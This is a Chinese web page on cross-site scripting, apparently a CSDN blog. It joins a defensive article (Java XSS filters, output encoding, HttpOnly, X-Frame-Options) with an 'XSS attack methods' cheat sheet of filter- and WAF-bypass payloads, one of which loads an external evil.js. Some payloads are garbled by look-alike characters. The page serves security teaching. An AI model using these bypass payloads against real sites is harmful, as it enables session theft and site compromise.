    XSS原称为CSS(Cross-Site Scripting),因为和层叠样式表(Cascading Style Sheets)重名,所以改称为XSS(X一般有未知的含义,还有扩展的含义)。XSS攻击涉及到三方:攻击者,用户,web server。用户是通过浏览器来访问web server上的网页,XSS攻击就是攻击者通过各种办法,在用户访问的网页中插入自己的脚本,让其在用户访问网页时在其浏览器中进行执行。攻击者通过插入的脚本的执行,来获得用户的信息,比如cookie,发送到攻击者自己的网站(跨站了)。所以称为跨站脚本攻击。XSS可以分为反射型XSS和持久性XSS,还有DOM Based XSS。(一句话,XSS就是在用户的浏览器中执行攻击者自己定制的脚本。)

    1.1 反射型XSS

    反射性XSS,也就是非持久性XSS。用户点击攻击链接,服务器解析后响应,在返回的响应内容中出现攻击者的XSS代码,被浏览器执行。一来一去,XSS攻击脚本被web server反射回来给浏览器执行,所以称为反射型XSS。

    特点:

    1> XSS攻击代码非持久性,也就是没有保存在web server中,而是出现在URL地址中;

    2> 非持久性,那么攻击方式就不同了。一般是攻击者通过邮件,聊天软件等等方式发送攻击URL,然后用户点击来达到攻击的;

    1.2 持久型XSS

    区别就是XSS恶意代码存储在web server中,这样,每一个访问特定网页的用户,都会被攻击。

    特点:

    1> XSS攻击代码存储于web server上;

    2> 攻击者,一般是通过网站的留言、评论、博客、日志等等功能(所有能够向web server输入内容的地方),将攻击代码存储到web server上的;

    有时持久性XSS和反射型XSS是同时使用的,比如先通过对一个攻击url进行编码(来绕过xss filter),然后提交该web server(存储在web server中), 然后用户在浏览页面时,如果点击该url,就会触发一个XSS攻击。当然用户点击该url时,也可能会触发一个CSRF(Cross site request forgery)攻击。

    1.3 DOM based XSS

    基于DOM的XSS,也就是web server不参与,仅仅涉及到浏览器的XSS。比如根据用户的输入来动态构造一个DOM节点,如果没有对用户的输入进行过滤,那么也就导致XSS攻击的产生。过滤可以考虑采用esapi4js

    参见:http://www.freebuf.com/articles/web/29177.html , http://www.zhihu.com/question/26628342/answer/33504799

    2. XSS 存在的原因

    XSS 存在的根本原因是,对URL中的参数,对用户输入提交给web server的内容,没有进行充分的过滤。如果我们能够在web程序中,对用户提交的URL中的参数,和提交的所有内容,进行充分的过滤,将所有的不合法的参数和输入内容过滤掉,那么就不会导致“在用户的浏览器中执行攻击者自己定制的脚本”。

    但是,其实充分而完全的过滤,实际上是无法实现的。因为攻击者有各种各样的神奇的,你完全想象不到的方式来绕过服务器端的过滤,最典型的就是对URL和参数进行各种的编码,比如escape, encodeURI, encodeURIComponent, 16进制,10进制,8进制,来绕过XSS过滤。那么我们如何来防御XSS呢?

    3. XSS 攻击的防御

    XSS防御的总体思路是:对输入(和URL参数)进行过滤,对输出进行编码

    也就是对提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。虽然对输入过滤可以被绕过,但是也还是会拦截很大一部分的XSS攻击

    3.1 对输入和URL参数进行过滤(白名单和黑名单)

    下面贴出一个常用的XSS filter的实现代码:

    复制代码
    public class XssFilter implements Filter {
    
        public void init(FilterConfig config) throws ServletException {}
    
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
                throws IOException, ServletException {
            XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest)request);
            chain.doFilter(xssRequest, response);
        }
    
        public void destroy() {}
    }
    复制代码
    复制代码
    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
        HttpServletRequest orgRequest = null;
    
        public XssHttpServletRequestWrapper(HttpServletRequest request) {
            super(request);
            orgRequest = request;
        }
        /**
         * 覆盖getParameter方法,将参数名和参数值都做xss过滤。<br/>
         * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取<br/>
         * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
         */
        @Override
        public String getParameter(String name) {
            String value = super.getParameter(xssEncode(name));
            if (value != null) {
                value = xssEncode(value);
            }
            return value;
        }
        /**
         * 覆盖getHeader方法,将参数名和参数值都做xss过滤。<br/>
         * 如果需要获得原始的值,则通过super.getHeaders(name)来获取<br/>
         * getHeaderNames 也可能需要覆盖
         */
        @Override
        public String getHeader(String name) {
            String value = super.getHeader(xssEncode(name));
            if (value != null) {
                value = xssEncode(value);
            }
            return value;
        }
        /**
         * 将容易引起xss漏洞的半角字符直接替换成全角字符
         *
         * @param s
         * @return
         */
        private static String xssEncode(String s) {
            if (s == null || s.isEmpty()) {
                return s;
            }
            StringBuilder sb = new StringBuilder(s.length() + 16);
            for (int i = 0; i < s.length(); i++) {
                char c = s.charAt(i);
                switch (c) {
                case '>':
                    sb.append('>');// 全角大于号
                    break;
                case '<':
                    sb.append('<');// 全角小于号
                    break;
                case '\'':
                    sb.append('‘');// 全角单引号
                    break;
                case '\"':
                    sb.append('“');// 全角双引号
                    break;
                case '&':
                    sb.append('&');// 全角
                    break;
                case '\\':
                    sb.append('\');// 全角斜线
                    break;
                case '#':
                    sb.append('#');// 全角井号
                    break;
                case '%':    // < 字符的 URL 编码形式表示的 ASCII 字符(十六进制格式) 是: %3c
                    processUrlEncoder(sb, s, i);
                    break;
                default:
                    sb.append(c);
                    break;
                }
            }
            return sb.toString();
        }
        public static void processUrlEncoder(StringBuilder sb, String s, int index){
            if(s.length() >= index + 2){
                if(s.charAt(index+1) == '3' && (s.charAt(index+2) == 'c' || s.charAt(index+2) == 'C')){    // %3c, %3C
                    sb.append('<');
                    return;
                }
                if(s.charAt(index+1) == '6' && s.charAt(index+2) == '0'){    // %3c (0x3c=60)
                    sb.append('<');
                    return;
                }            
                if(s.charAt(index+1) == '3' && (s.charAt(index+2) == 'e' || s.charAt(index+2) == 'E')){    // %3e, %3E
                    sb.append('>');
                    return;
                }
                if(s.charAt(index+1) == '6' && s.charAt(index+2) == '2'){    // %3e (0x3e=62)
                    sb.append('>');
                    return;
                }
            }
            sb.append(s.charAt(index));
        }
        /**
         * 获取最原始的request
         *
         * @return
         */
        public HttpServletRequest getOrgRequest() {
            return orgRequest;
        }
        /**
         * 获取最原始的request的静态方法
         *
         * @return
         */
        public static HttpServletRequest getOrgRequest(HttpServletRequest req) {
            if (req instanceof XssHttpServletRequestWrapper) {
                return ((XssHttpServletRequestWrapper) req).getOrgRequest();
            }
            return req;
        }
    }
    复制代码

    然后在web.xml中配置该filter:

    复制代码
        <filter>
            <filter-name>xssFilter</filter-name>
            <filter-class>com.xxxxxx.filter.XssFilter</filter-class>
        </filter>
        <filter-mapping>
            <filter-name>xssFilter</filter-name>
            <url-pattern>/*</url-pattern>
        </filter-mapping>
    复制代码

    主要的思路就是将容易导致XSS攻击的边角字符替换成全角字符。< 和 > 是脚本执行和各种html标签需要的,比如 <script>,& 和 # 以及 % 在对URL编码试图绕过XSS filter时,会出现。我们说对输入的过滤分为白名单和黑名单。上面的XSS filter就是一种黑名单的过滤,黑名单就是列出不能出现的对象的清单,一旦出现就进行处理。还有一种白名单的过滤,白名单就是列出可被接受的内容,比如规定所有的输入只能是“大小写的26个英文字母和10个数字,还有-和_”,所有其他的输入都是非法的,会被抛弃掉。很显然如此严格的白名单是可以100%拦截所有的XSS攻击的。但是现实情况一般是不能进行如此严格的白名单过滤的。

    对于输入,处理使用XSS filter之外,对于每一个输入,在客户端和服务器端还要进行各种验证,验证是否合法字符,长度是否合法,格式是否正确。在客户端和服务端都要进行验证,因为客户端的验证很容易被绕过。其实这种验证也分为了黑名单和白名单。黑名单的验证就是不能出现某些字符,白名单的验证就是只能出现某些字符。尽量使用白名单

    3.2 对输出进行编码

    在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。如果使用好的话,理论上是可以防御住所有的XSS攻击的。

    对所有要动态输出到页面的内容,通通进行相关的编码和转义。当然转义是按照其输出的上下文环境来决定如何转义的。

    1> 作为body文本输出,作为html标签的属性输出:

    比如:<span>${username}</span>, <p><c:out value="${username}"></c:out></p>

    <input type="text" value="${username}" />

    此时的转义规则如下:

    < 转成 &lt;

    > 转成 &gt;

    & 转成 &amp;

    " 转成 &quot;

    ' 转成 &#39

    2> javascript事件

    <input type="button" οnclick='go_to_url("${myUrl}");' />

    除了上面的那些转义之外,还要附加上下面的转义:

    \ 转成 \\

    / 转成 \/

    ; 转成 ;(全角;)

    3> URL属性

    如果 <script>, <style>, <imt> 等标签的 src 和 href 属性值为动态内容,那么要确保这些url没有执行恶意连接。

    确保:href 和 src 的值必须以 http://开头,白名单方式;不能有10进制和16进制编码字符。

    4. HttpOnly 与 XSS防御

    XSS 一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对 Cookie 设置了HttpOnly 属性,那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie。(下面的内容转自:http://www.oschina.net/question/12_72706)

    一般的Cookie都是从document对象中获得的,现在浏览器在设置 Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的 document对象中就看不到Cookie了,而浏览器在浏览的时候不受任何影响,因为Cookie会被放在浏览器头中发送出去(包括ajax的时 候),应用程序也一般不会在js里操作这些敏感Cookie的,对于一些敏感的Cookie我们采用HttpOnly,对于一些需要在应用程序中用js操作的cookie我们就不予设置,这样就保障了Cookie信息的安全也保证了应用。

    如果你正在使用的是兼容 Java EE 6.0 的容器,如 Tomcat 7,那么 Cookie 类已经有了 setHttpOnly 的方法来使用 HttpOnly 的 Cookie 属性了。

    1
    cookie.setHttpOnly(true);

    设置完后生成的 Cookie 就会在最后多了一个 ;HttpOnly

    另外使用 Session 的话 jsessionid 这个 Cookie 可通过在 Context 中使用 useHttpOnly 配置来启用 HttpOnly,例如:

    1
    2
    <Context path="" docBase="D:/WORKDIR/oschina/webapp"
        reloadable="false" useHttpOnly="true"/>

    也可以在 web.xml 配置如下:

    1
    2
    3
    4
    5
    <session-config>
     <cookie-config>
      <http-only>true</http-only>
     </cookie-config>
    <session-config>

    对于 不支持 HttpOnly 的低版本java ee,可以手动设置(比如在一个过滤器中):

    String sessionid = request.getSession().getId();  
    response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid + "; HttpOnly"); 

    对于 .NET 2.0 应用可以在 web.config 的 system.web/httpCookies 元素使用如下配置来启用 HttpOnly?

    1
    <httpCookies httpOnlyCookies="true" …>

    而程序的处理方式如下:

    C#:

    1
    2
    3
    HttpCookie myCookie = new HttpCookie("myCookie");
    myCookie.HttpOnly = true;
    Response.AppendCookie(myCookie);

    VB.NET:

    1
    2
    3
    Dim myCookie As HttpCookie = new HttpCookie("myCookie")
    myCookie.HttpOnly = True
    Response.AppendCookie(myCookie)

    .NET 1.1 只能手工处理:

    1
    Response.Cookies[cookie].Path += ";HttpOnly";

    PHP 从 5.2.0 版本开始就支持 HttpOnly

    1
    session.cookie_httponly = True

    PS: 实际测试在 Tomcat 8.0.21 中在 web.xml 和 context中设置 HttpOnly 属性不起作用。只有cookie.setHttpOnly(true); 和

     response.setHeader("SET-COOKIE", "JSESSIONID=" + sessionid+ "; HttpOnly"); 起作用

    参考链接:https://www.owasp.org/index.php/HttpOnly#Using_Java_to_Set_HttpOnly

    5. 总结下

    XSS攻击访问方法:对输入(和URL参数)进行过滤,对输出进行编码;白名单和黑名单结合;

    --------------------------------------------分割线----------------------------------------------------

    6. 使用 OWASP AntiSamy Project 和 OWASP ESAPI for Java 来防御 XSS(还有客户端的esapi4js: esapi.js)

    上面说到了防御XSS的一些原理和思想,对输入进行过滤,对输出进行编码。那么OWASP组织中项目 AntiSamy 和 ESAPI 就恰恰能够帮助我们。其中 AntiSamy 提供了 XSS Filter 的实现,而 ESAPI 则提供了对输出进行编码的实现。(samy是一个人名,他第一次在MySpace上实现第一个XSS工具蠕虫,所以AntiSamy项目就是反XSS攻击的意思; ESAPI就是enterprise security api的意思;owasp: Open Web Application Securtiy Project)

    使用maven可以引入依赖包:

    复制代码
        <dependency>
            <groupId>org.owasp.antisamy</groupId>
            <artifactId>antisamy</artifactId>
            <version>1.5.3</version>
        </dependency>
        <dependency>
            <groupId>org.owasp.esapi</groupId>
            <artifactId>esapi</artifactId>
            <version>2.1.0</version>
        </dependency>
    复制代码

    使用AntiSamy构造XSS Filter的方法如下:

    复制代码
    public class XssFilter implements Filter {
    
        public XssFilter() {}
    
        public void destroy() {}
    
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest)request;
            HttpServletResponse resp = (HttpServletResponse)response;
            resp.setHeader("SET-COOKIE", "JSESSIONID=" + req.getSession().getId()+ "; HttpOnly");
            
            chain.doFilter(new XssRequestWrapper(req), resp);
        }
    
        public void init(FilterConfig fConfig) throws ServletException {}
    }
    复制代码
    复制代码
    public class XssRequestWrapper extends HttpServletRequestWrapper {
    
        private static Policy policy = null;
    
        static {
            String path = XssRequestWrapper.class.getClassLoader().getResource("antisamy-anythinggoes.xml").getFile();
            System.out.println("policy_filepath:" + path);
            if (path.startsWith("file")) {
                path = path.substring(6);
            }
            try {
                policy = Policy.getInstance(path);
            } catch (PolicyException e) {
                e.printStackTrace();
            }
        }
    
        public XssRequestWrapper(HttpServletRequest request) {
            super(request);
        }
    
        public String getParameter(String paramString) {
            String str = super.getParameter(paramString);
            if (str == null)
                return null;
            return xssClean(str);
        }
    
        public String getHeader(String paramString) {
            String str = super.getHeader(paramString);
            if (str == null)
                return null;
            return xssClean(str);
        }
        
        @SuppressWarnings("rawtypes")
        public Map<String, String[]> getParameterMap() {
            Map<String, String[]> request_map = super.getParameterMap();
            Iterator iterator = request_map.entrySet().iterator();
            System.out.println("request_map" + request_map.size());
            while (iterator.hasNext()) {
                Map.Entry me = (Map.Entry) iterator.next();
                String[] values = (String[]) me.getValue();
                for (int i = 0; i < values.length; i++) {
                    values[i] = xssClean(values[i]);
                }
            }
            return request_map;
        }
    
        public String[] getParameterValues(String paramString) {
            String[] arrayOfString1 = super.getParameterValues(paramString);
            if (arrayOfString1 == null)
                return null;
            int i = arrayOfString1.length;
            String[] arrayOfString2 = new String[i];
            for (int j = 0; j < i; j++)
                arrayOfString2[j] = xssClean(arrayOfString1[j]);
            return arrayOfString2;
        }
    
        private String xssClean(String value) {
            AntiSamy antiSamy = new AntiSamy();
            try {
                final CleanResults cr = antiSamy.scan(value, policy);
                // 安全的HTML输出
                return cr.getCleanHTML();
            } catch (ScanException e) {
                e.printStackTrace();
            } catch (PolicyException e) {
                e.printStackTrace();
            }
            return value;
        }
    }
    复制代码

    然后在web.xml中配置:

    复制代码
      <filter>
          <filter-name>XssFilter</filter-name>
          <filter-class>org.xss.filter.XssFilter</filter-class>
      </filter>
      <filter-mapping>
          <filter-name>XssFilter</filter-name>
          <url-pattern>/*</url-pattern>
      </filter-mapping>
    复制代码

    上面我们不仅对输入进行扫描过滤,而且设置了response中sessionId的httponly属性,我们看下httponly的实际效果:

    我们看到baidu使用了httponly=true,我们的localhost的httponly=true也其作用了。

    ESAPI 编码输出,使用方法入下:

    复制代码
            ESAPI.encoder().encodeForHTML(String input);
            ESAPI.encoder().encodeForHTMLAttribute(String input);
            ESAPI.encoder().encodeForJavaScript(String input);
            ESAPI.encoder().encodeForCSS(String input);
            ESAPI.encoder().encodeForURL(String input);
            
            MySQLCodec codec = new MySQLCodec(Mode.STANDARD);
            ESAPI.encoder().encodeForSQL(codec, String input);
    复制代码

    对应上面 3.2 中说到的编码输出。encodeForSQL 用于 防御 MySQL 的 sql 注入。

    (压缩版的esapi-compressed.js,大小为51K。)

    -----------------------------------------------------

    低危漏洞- X-Frame-Options Header未配置

    X-Frame-Options 响应头 
    X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在 <frame>, </iframe> 或者 <object> 中展现的标记。网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。

    使用 X-Frame-Options 
    X-Frame-Options 有三个值:

    DENY 
    表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。 
    SAMEORIGIN 
    表示该页面可以在相同域名页面的 frame 中展示。 
    ALLOW-FROM uri 
    表示该页面可以在指定来源的 frame 中展示。 
    换一句话说,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

    配置 Apache

    配置 Apache 在所有页面上发送 X-Frame-Options 响应头,需要把下面这行添加到 ‘site’ 的配置中:

    Header always append X-Frame-Options SAMEORIGIN

    配置 nginx

    配置 nginx 发送 X-Frame-Options 响应头,把下面这行添加到 ‘http’, ‘server’ 或者 ‘location’ 的配置中:

    add_header X-Frame-Options SAMEORIGIN;

    配置 IIS

    配置 IIS 发送 X-Frame-Options 响应头,添加下面的配置到 Web.config 文件中:

    <system.webServer>
      ...
    
      <httpProtocol>
        <customHeaders>
          <add name="X-Frame-Options" value="SAMEORIGIN" />
        </customHeaders>
      </httpProtocol>
    
      ...
    </system.webServer>

    结果

    在 Firefox 尝试加载 frame 的内容时,如果 X-Frame-Options 响应头设置为禁止访问了,那么 Firefox 会用 about:blank 展现到 frame 中。也许从某种方面来讲的话,展示为错误消息会更好一点。

    Tomcat处理:

    定义一个过滤器filter,在HTTP请求头中加入x-frame-options: SAMEORIGIN即可。

    最后补充代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    /**
     * 安全过滤器
     * @author digdeep@126.com
     */
    public class SecureFilter implements Filter {
     
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
             
            HttpServletRequest req = (HttpServletRequest)request;
            HttpServletResponse resp = (HttpServletResponse)response;
             
            String sessionid = req.getSession().getId(); 
            resp.setHeader("SET-COOKIE""JSESSIONID=" + sessionid + "; HttpOnly");
            resp.setHeader("x-frame-options","SAMEORIGIN"); //X-Frame-Options
             
            chain.doFilter(request, response);
        }
     
        @Override
        public void init(FilterConfig arg0) throws ServletException {
             
        }
         
        @Override
        public void destroy() {
     
        }
    }

    进行配置:

    1
    2
    3
    4
    5
    6
    7
    8
    <filter>
      <filter-name>SecureFilter</filter-name>
      <filter-class>com.diantu.hemr.filter.SecureFilter</filter-class>
    </filter>
    <filter-mapping>
      <filter-name>SecureFilter</filter-name>
      <url-pattern>/*</url-pattern>
    </filter-mapping>

    进行验证生效:

    展开全文
  • XSS攻击方法总结

    千次阅读 2019-09-12 19:04:38
    参考链接https://blog.csdn.net/qq_29277155/article/details/51320064 List item

    参考链接https://blog.csdn.net/qq_29277155/article/details/51320064

    0x01.常规插入及其绕过

    在这里插入图片描述
    DOM型XSS,DOM全称为文档对象模型,与反射型存储型xss的不同之处在于其不会经过服务端的处理,而是经过JavaScript dom的渲染构造完dom树后,浏览器解析时才会被js的解析引擎解析执行。

    1. 利用字符编码

    见前一章第2讲,有unicode(html),ascii(js),hex(url)…

    2 绕过长度限制

    1.利用事件缩短长度:

     "οnclick=alert(1)//
    

    2.最常用的一个“藏代码”的地方,就是“location.hash”。

    在这里插入图片描述

    3.两个文本框,第二个文本框允许写入更多的字节。此时可以利用HTML的”注释符号“

    "><!--
    --><script>alert(xss);<script>"
    

    4.使用标签:

    标签是定义所有使用”相对路径”标签的hosting地址

    <body>
    <base href="http://www/google.com" />
    <img scr="/int1/...png" />
    </body>
    

    在这里插入图片描述

    5.window.name的妙用:

    window.name对象是一个很神奇的东西,对当前的window.name对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而并非document对象,因此很多时候window对象不受同
    策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。

    在这里插入图片描述

    在这里插入图片描述

    3.使用基础标签

    前篇,

    0x02探测的规则

    1 WAF规则探测

    1. 使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;

    2. 如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;

    3. 尝试以下的payload.

       <script>alert(1);</script>
      
       <script>prompt(1);</script>
       
       <script>confirm      (1);</script>
       
       <script src="http://rhainfosec.com/evil.js">
      

    2 大小写混合字符

    <scRiPt>alert(1);</scrIPt>
    

    1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;

    2、使用<a>标签测试

    <a  href=“http://www.google.com">Clickme</a>
    

    <a被过滤?
    href被过滤?
    其他内容被过滤?

    如果没有过滤尝试使用

    <a href=”javascript:alert(1)”>Clickme</a>
    

    尝试使用错误的事件查看过滤

    <a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
    

    HTML5拥有150个事件处理函数,可以多尝试其他函数

    <body οnhashchange=alert(1)><a href=#>clickit
    

    3. 测试其他标签

    1.src属性

    在这里插入图片描述

    <IFRAME SRC="javascript:alert(29);"></IFRAME>
    

    2.iframe标签

    简直不可思议-----------可以不用>,大概是</a当成无意义数据了。。。。。。。。。。。。。。。。。。。。

    <iframe onmouseover=javascript:alert(1) </a>
    
    <script>alert(1) </script </a>
    

    在这里插入图片描述

    3.action属性

    <form action=javascript:alert(22)><input/type=submit>
    

    4.“data”属性

    <META HTTP-EQUIV="refresh"
    CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
    K">
    
    
    <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
    

    5.嵌套

    <scr<scrip>ip>
    

    6.事件处理

    <svg/οnlοad=prompt(1);>
    <marquee/onstart=confirm(2)>/
    <body οnlοad=prompt(1);>
    <select autofocus οnfοcus=alert(1)>
    <textarea autofocus οnfοcus=alert(1)>
    <keygen autofocus οnfοcus=alert(1)>
    <video><source οnerrοr="javascript:alert(1)">
    

    7.圆括号被过滤

    <a onmouseover="javascript:window.onerror=alert;throw 1">aqq</a>
    
    <img src=x onerror="javascript:window.onerror=alert;  throw 1">
    
     <body onload="javascript:window.onerror=alert;throw 1">
    
     <body onload="javascript:window.onerror=eval;throw '=alert\x2813\x29'">
     
     <body onload="javascript:window.onerror=eval;throw &#039;=alert\x2813\x29&#039;">
     
    

    8.location

    <a onmouseover=location='javascript:alert(1)'>click
    
    <body onfocus=location='javascript:alert(1)'>click
    

    9.();:被过滤

     <svg><script>alert&#40/1/&#41</script>  
    

    竟然绕过了<script>标签html不编码的规则


    第一层解码:

    <a href="j&#x41vascript&#58alert%2831337%29">Hello</a>
    

    第二层解码----------

    &#x26 #x26解码后为**&#26**,再次解码为**&**

    %25%28 解码后为 %28 再次解码为**(**

    <a  href="j&#x26#x26#x41vascript:alert%252831337%2529">Hello</a>
    

    10编码

    JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码

    href=
    action=
    
    location=
    on*=
    name=
    background=
    poster=
    src=
    
    data= //只支持base64
    

    0x03基于上下文的过滤

    1.输入反射属性

    <input value="XSStest" type=text>
    

    我们可以使用 “><imgsrc=x οnerrοr=prompt(0);>触发
    但是如果<>被过滤,我们仍然可以使用“ autofocusοnfοcus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本

    " οnmοuseοver="prompt(0) x="
    " οnfοcusin=alert(1)     autofocus x="
    " οnfοcusοut=alert(1)     autofocus x="
    " οnblur=alert(1) autofocus     a="
    

    输入反射在<script>标签内
    类似这种情况:

    <script>
    Var x=”Input”;
    </script>
    

    通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()confirm() ,
    例如:“;alert(1)//

    2.非常规事件监听

    在这里插入图片描述

    3.超文本内容

    代码中的情况如下

    <a href=”Userinput”>Click</a>
    

    可以使用javascript:alert(1)//直接执行

    <a href="javascript:alert(1)//">Click</a>
    

    4.变形

    主要包含大小写JavaScript变形

    javascript&#058;alert(1)
    javaSCRIPT&colon;alert(1)
    JaVaScRipT:alert(1)
    javas&Tab;cript:\u0061lert(1);
    javascript:\u0061lert&#x28;1&#x29
    

    5.编码绕过(强)

    在这里插入图片描述

    <script>
    encodeURIComponent(''-prompt(1)-'')
    //等价于
    ''-alert(1)-''
    </script>
    

       <svg>
       <script>
        encodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)
        encodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)
      </script>
    

    6. 输入反射在svg标签内

    在这里插入图片描述
    输入&quot避开 URL对"的编码,随后HTML解码为"

    7.字符集

    在这里插入图片描述

    8 空字节绕过

    最长用来绕过mod_security防火墙,形式如下:

    <scri%00pt>alert(1);</scri%00pt>
    <scri\x00pt>alert(1);</scri%00pt>
    <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
    

    空字节只适用于PHP 5.3.8以上的版本???

    9 语法BUG

    10 Unicode分隔符(暂时不懂)

    在这里插入图片描述

    11.缺少X-frame选项(未验证)

    在这里插入图片描述

    12.Window.name欺骗

    13ModSecurity绕过

    在这里插入图片描述
    参考http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html

    14 WEB KNIGHT绕过

    <a href="j&Tab;a&Tab;v&Tab;ascript:alert(1)//">Click</a>
    

    使用 编码绕过.
    在这里插入图片描述

    15.XSS防御总结

    在这里插入图片描述
    在这里插入图片描述

    1.处理富文本

    在这里插入图片描述

    2.防御DOM Based XSS

    事实上,DOM Based XSS是从Javascript中输出数据到HTML页面中。

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • XSS攻击的简单实现

    万次阅读 2019-04-28 17:36:13
    xss 跨站脚本攻击(Cross Site Script) ①在慕课网跟着教学视频自己编写一个网页 ,用这个网页模拟有XSS漏洞的网站。 在网页源码中插入了这样一句话。 这句话的作用其实是:显示一个搜索框。将搜索框中...
  • 什么是XSS攻击

    千次阅读 2019-04-18 16:51:30
    这篇文章将带领大家认清XSS攻击,以及对于XSS攻击该如何防范。 什么是XSS攻击XSS攻击指的是: 通过利用网页开发时留下的漏洞,恶意攻击者往Web页面里插入恶意 Script代码,当用户浏览时,嵌入其中Web里面的...
  • XSS攻击常识及常见的XSS攻击脚本汇总

    万次阅读 多人点赞 2018-06-16 14:26:54
    一、什么是XSS?XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。这里我们主要注意四点:1、目标网站目标用户;2、浏览器...
  • XSS攻击及防御

    万次阅读 多人点赞 2013-11-29 18:35:23
    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的H...
  • XSS(跨站脚本攻击)详解

    万次阅读 多人点赞 2018-09-08 10:43:09
    XSS攻击载荷 XSS可以插在哪里? XSS漏洞的挖掘 XSS攻击过程 XSS漏洞的危害 XSS漏洞的简单攻击测试 反射型XSS: 存储型XSS: DOM型XSSXSS的简单过滤和绕过 ​XSS的防御 反射型XSS的利用姿势 get型...
  • 什么是XSS攻击?如何防范XSS攻击

    万次阅读 2018-11-28 15:49:58
    XSS攻击又称CSS,全称Cross Site Script (跨站脚本...XSS 攻击类似于 SQL 注入攻击,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览...
  • XSS攻击

    千次阅读 2018-06-12 18:10:58
    XSS, 即为(Cross Site Scripting), 中文名为跨站脚本, 是发生在目标用户的浏览器层面上的,当渲染DOM树的过程成发生了不在预期内执行的JS代码时,就发生了XSS攻击。 跨站脚本的重点不在‘跨站’上,而在于‘脚本...
  • XSS攻击

    2020-02-10 23:31:54
    XSS攻击的介绍 在开始本文之前,我们先提出一个问题,请判断以下两个说法是否正确: XSS 防范是后端 RD(研发人员)的责任,后端 RD 应该在所有用户提交数据的接口,对敏感字符进行转义,才能进行下一步操作。 ...
  • xss攻击

    2020-06-04 12:05:21
    Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,...
  • XSS攻击

    千次阅读 2019-04-03 21:13:27
    跨站脚本攻击XSS(cross site script),为了避免与css混淆,所以简称XSSXSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。XSS是指恶意攻击者利用网站没有对用户1提交数据进行转义处理...
  • XSS攻击

    2020-09-16 22:16:43
    XSS攻击 一、XSS漏洞 XSS漏洞很常见,在很多网站中都存在着 首先: 引用维基百科的一句话: 跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许...
  • web安全测试之 xss攻击

    万次阅读 2019-04-19 15:49:06
    web安全测试之 xss攻击 软件测试资源分享| 免费软件测试资料一、 背景知识1、 什么是 XSS 攻击?XSS 攻击: 跨站脚本攻击(Cross Site Scripting) , 为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。 故...
  • XSS 攻击

    千次阅读 2019-05-28 23:28:07
    XSS 也称跨站脚本攻击 (Cross Site Scripting),恶意攻击者往 Web 页面里插入恶意 JavaScript 代码,当用户浏览该页之时,嵌入其中 Web 里面的 JavaScript 代码会被执行,从而达到恶意攻击用户的目的。 一种比较...
  • XSS攻击 XSS攻击解决的方法

    多人点赞 2018-11-20 15:08:49
